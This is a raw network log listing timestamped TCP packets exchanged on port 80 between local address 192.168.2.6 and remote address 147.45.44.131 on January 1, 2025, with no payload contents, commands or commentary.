Jan 1, 2025 08:53:01.849961042 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.849967957 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.898490906 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.927922010 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.927934885 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.927946091 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.928076029 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.928081989 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.928088903 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.928102016 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.928129911 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.928160906 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.928170919 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.928183079 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.928193092 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.928205013 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.928221941 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.928251982 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.928385973 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.928397894 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.928409100 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.928420067 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.928430080 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.928436995 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.928469896 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.928527117 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.928572893 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.928577900 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.928585052 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.928617954 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.928718090 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.928729057 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.928740025 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.928752899 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.928766966 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.928806067 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.929923058 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.929965973 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.929977894 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.930011034 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.930083036 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.930099010 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.930109978 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.930120945 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.930125952 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.930151939 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.931256056 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.931303978 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.931324959 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.931337118 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.931385994 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.931430101 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.931447029 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.931457996 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.931468964 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.931488037 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.931510925 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.931565046 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.931617022 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.931628942 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.931658030 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.931684971 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.931725025 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.931740999 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.931752920 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.931765079 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.931799889 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.931890011 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.931931973 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.931942940 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.931953907 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932005882 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.932081938 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932092905 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932107925 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932120085 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932132006 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.932161093 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.932250977 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932262897 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932276964 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932295084 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932306051 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932316065 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.932316065 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932328939 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932339907 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932348013 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.932351112 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932369947 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.932389021 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.932568073 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932579041 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932589054 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932601929 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932616949 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.932631016 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.932739019 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932751894 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932761908 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932773113 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932782888 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932789087 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.932817936 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.932836056 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.932918072 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932929039 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932940006 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932952881 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.932971954 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.932986021 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.933079958 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933092117 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933101892 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933113098 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933147907 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.933167934 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933181047 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933196068 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933207989 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933222055 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933229923 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.933247089 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.933371067 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933414936 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.933449984 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933461905 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933473110 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933482885 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933506966 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.933522940 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.933619976 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933630943 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933641911 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933654070 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933665991 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933665991 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.933676958 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933689117 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933707952 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.933737993 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.933873892 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933887959 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933901072 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933909893 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933917046 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.933950901 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.933954000 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933967113 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933978081 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.933989048 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.934000015 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.934027910 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.934195995 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.934206963 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.934217930 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.934230089 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.934242010 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.934242964 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.934253931 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.934266090 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.934274912 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.934276104 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.934288025 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.934304953 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.934309006 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.934329987 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.934463024 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.934474945 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.934484959 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.934497118 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.934505939 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.934509993 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.934521914 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.934526920 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.934550047 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.934617996 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.934637070 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.934664011 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.976514101 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.014816046 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.014837027 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.014853954 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.014986038 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.015002012 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.015012980 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.015023947 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.015034914 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.015125990 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.015135050 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.015155077 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.015155077 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.015175104 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.015199900 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.015211105 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.015219927 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.015232086 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.015243053 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.015254974 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.015288115 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.015382051 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.015433073 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.015475035 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.015574932 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.015589952 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.015599012 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.015609980 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.015626907 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.015651941 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.015719891 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.015732050 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.015742064 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.015773058 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.016834974 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.016845942 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.016856909 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.016891956 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.016958952 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.016968966 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.016978979 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.016994953 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.017008066 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.017045021 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.018172979 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.018183947 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.018194914 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.018225908 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.018348932 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.018359900 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.018369913 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.018381119 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.018398046 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.018423080 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.018425941 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.018462896 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.018462896 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.018475056 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.018512964 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.018611908 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.018621922 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.018632889 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.018645048 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.018662930 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.018695116 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.018851995 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.018863916 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.018872976 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.018884897 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.018904924 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.018930912 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.019032955 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.019045115 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.019054890 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.019067049 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.019083023 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.019114971 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.019201040 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.019212008 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.019222021 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.019232035 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.019243956 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.019253969 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.019258976 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.019264936 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.019275904 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.019277096 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.019287109 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.019295931 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.019300938 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.019308090 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.019331932 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.019352913 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.019588947 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.019601107 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.019609928 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.019623041 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.019639969 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.019653082 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.019752026 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.019762993 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.019773006 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.019784927 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.019802094 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.019814968 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.019989014 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.019999981 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020010948 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020037889 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.020066023 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.020068884 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020078897 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020088911 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020101070 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020106077 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020111084 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020118952 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.020176888 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.020224094 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020234108 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020239115 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020251036 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020260096 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020277023 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.020299911 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.020390034 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020401001 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020411015 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020421028 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020432949 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020440102 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.020561934 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020587921 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020598888 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020603895 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.020603895 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.020610094 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020622969 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020627022 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.020633936 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020644903 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020653963 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.020657063 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020680904 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.020699978 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.020916939 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020927906 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020937920 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020948887 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020960093 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020963907 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.020970106 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020981073 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.020992041 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.021001101 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.021001101 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.021008015 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.021030903 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.021068096 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.021079063 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.021087885 CET	80	49700	147.45.44.131	192.168.2.6
